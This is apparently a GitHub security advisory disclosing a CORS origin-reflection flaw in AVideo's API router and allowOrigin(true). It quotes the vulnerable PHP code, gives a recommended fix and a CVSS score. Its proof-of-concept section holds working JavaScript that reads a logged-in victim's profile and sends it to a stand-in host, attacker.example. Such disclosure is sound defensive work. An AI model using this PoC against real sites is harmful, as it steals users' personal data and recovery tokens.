CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses

High **DanielnetoDotCom** published **GHSA-ff5q-cc22-fgp4** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.

Details

Bypass Vector 1: router.php independent CORS handler

`plugin/API/router.php:4-8` runs before any application code:

```
// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERV
if (empty($HTTP_ORIGIN)) {
```

```
    header('Access-Control-Allow-Origin: *');
} else {
    header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}
```

This reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed `allowOrigin()` function never executes:

```
// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header("Access-Control-Max-Age: 86400");
    http_response_code(200);
    exit;
}
```

All `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).

Bypass Vector 2: allowOrigin($allowAll=true)

Both `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:

```
// objects/functions.php lines 2773-2777
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    }
```

This code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.

Impact on data exposure

Because the victim's session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim's user ID. This means:

- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.
- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.

Additional issue: Referer header fallback

`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.

PoC

Step 1: Host the following HTML on an attacker-controlled domain:

```
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
```

Step 2: Victim visits attacker page while logged into AVideo.

Step 3: The browser sends the request with victim's session cookies. `router.php` line 8 reflects the attacker's origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker's origin with `Access-Control-Allow-Credentials: true`.

Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.

For set endpoints (POST with custom headers requiring preflight):

```
fetch('https://target-avideo.example/api/SomeSetEndpoint', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* parameters */})
});
```

The preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit — the CORS fix in `allowOrigin()` never runs.

Impact

- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.
- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.
- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.

Recommended Fix

1. Remove the independent CORS handler from `router.php` and let `allowOrigin()` handle all CORS logic consistently:

```
// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    require_once __DIR__.'/../../videos/configuration.php';
    allowOrigin(false);  // Use the validated CORS handler
    header("Access-Control-Max-Age: 86400");
    http_response_code(204);
    exit;
}
```

2. Fix `allowOrigin($allowAll=true)` to validate origins — or stop using it for API endpoints:

```
// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false);  // Use validated CORS for API endpoints
```

Keep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).

3. As defense-in-depth, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.

Severity

High 7.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

CVE ID

CVE-2026-41057

Weaknesses

▶ CWE-346

Credits

 **offset** Reporter